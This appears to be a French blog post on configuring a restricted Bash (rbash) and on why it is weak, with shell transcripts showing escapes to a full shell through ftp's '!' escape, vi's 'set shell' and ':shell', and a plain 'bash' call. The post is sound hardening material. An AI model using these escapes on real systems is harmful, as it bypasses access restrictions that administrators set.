Description :

Nous allons voir comment mettre en place un Bash restreint, cela n'est pas aussi puissant qu'un jail ou un chroot, mais cela à le mérite de se mettre en place en quelques secondes.
Les actions suivantes qui sont interdites ou non effectuées :

  • L'usage de cd pour changer de répertoire courant.
  • Le changement de valeur des variables d'environnement suivantes : $PATH, $SHELL, $BASH_ENV, $ENV.
  • La lecture ou le remplacement d'options d'environnement de shell $SHELLOPTS.
  • La redirection de sortie.
  • L'appel à des commandes contenant un / ou plusieurs.
  • L'appel à exec pour substituer un processus différent de celui du shell.
  • Divers autres commandes qui pourraient permettre de détourner le script de son objectif initial.
  • La sortie du mode restreint à l'intérieur d'un script.

Mise en place :

Rien de plus simple, il faut :

  1. Faire un lien symbolique de bash en rbash (le r pour restricted) :
    ln -s /bin/bash /bin/rbash
  2. Mettre le shell de l'utilisateur à /bin/rbash dans /etc/passwd

Résultats :

user_restreint@mykickstarter-test ~ $ cd /
-rbash: cd: restreint  
user_restreint@test ~ $ /bin/ls
-rbash: /bin/ls : restriction : « / » ne peut pas être spécifié dans un nom de commande
user_restreint@test ~ $ echo toto
toto
user_restreint@test ~ $ echo toto > toto
-rbash: toto : restreint : impossible de rediriger la sortie

Evasion ou comment aller à la case départ en évitant la case prison ...

user_restreint@test  $ cd /
-rbash: cd: restreint
 user_restreint@test  $ ls /tmp
aaaa  cpu.png  toto  yum.log  yum_save_tx-2013-12-27-13-54hx_zWw.yumtx
 user_restreint@test  $ echo test > /tmp/aaaa 
-rbash: /tmp/aaaa : restreint : impossible de rediriger la sortie
 user_restreint@test  $ ftp
ftp> ! echo test2 > /tmp/aaaa 
ftp> ! cat /tmp/aaaa 
test2
ftp> ! /bin/bash
user_restreint@test ~ $ cd /
user_restreint@test / $ echo Evasion >> /tmp/aaaa 
user_restreint@test / $ cat /tmp/aaaa 
test2
Evasion
user_restreint@test / $ exit
exit
ftp> exit
 user_restreint@test  $ cd /
-rbash: cd: restreint
 user_restreint@test  $

Bon du coup il faut supprimer l'utilitaire ftp, pssffff ...

user_restreint@test  $ /bin/bash
-rbash: /bin/bash : restriction : « / » ne peut pas être spécifié dans un nom de commande
user_restreint@test  $ vi --cmd "set shell=/bin/bash" --cmd "shell"
user_restreint@test ~ $ ls
user_restreint@test ~ $ cd /
user_restreint@test / $ echo Evasion2 >> /tmp/aaaa 
user_restreint@test / $ cat /tmp/aaaa 
test2
Evasion
Evasion2
user_restreint@test / $

ou

# vi
 :set shell=/bin/sh
 :shell

Et même avec vi, mais ou va-t'on !!

Vous me direz, Oui mais le gars c'est dure tes techniques d'évasion. OK alors essaie celle-là ...

user_restreint@test  $ /bin/bash
-rbash: /bin/bash : restriction : « / » ne peut pas être spécifié dans un nom de commande
 user_restreint@test  $ bash
user_restreint@test ~ $ cd /
user_restreint@test / $ 
user_restreint@test / $ cat /etc/redhat-release 
CentOS release 6.4 (Final)

Et si la base n'est pas restreint je peux plus rien faire !

PS : les deux premières techniques sont expliqués plus en détails dans le "hakin9 No 9/2007" (ainsi que d'autre).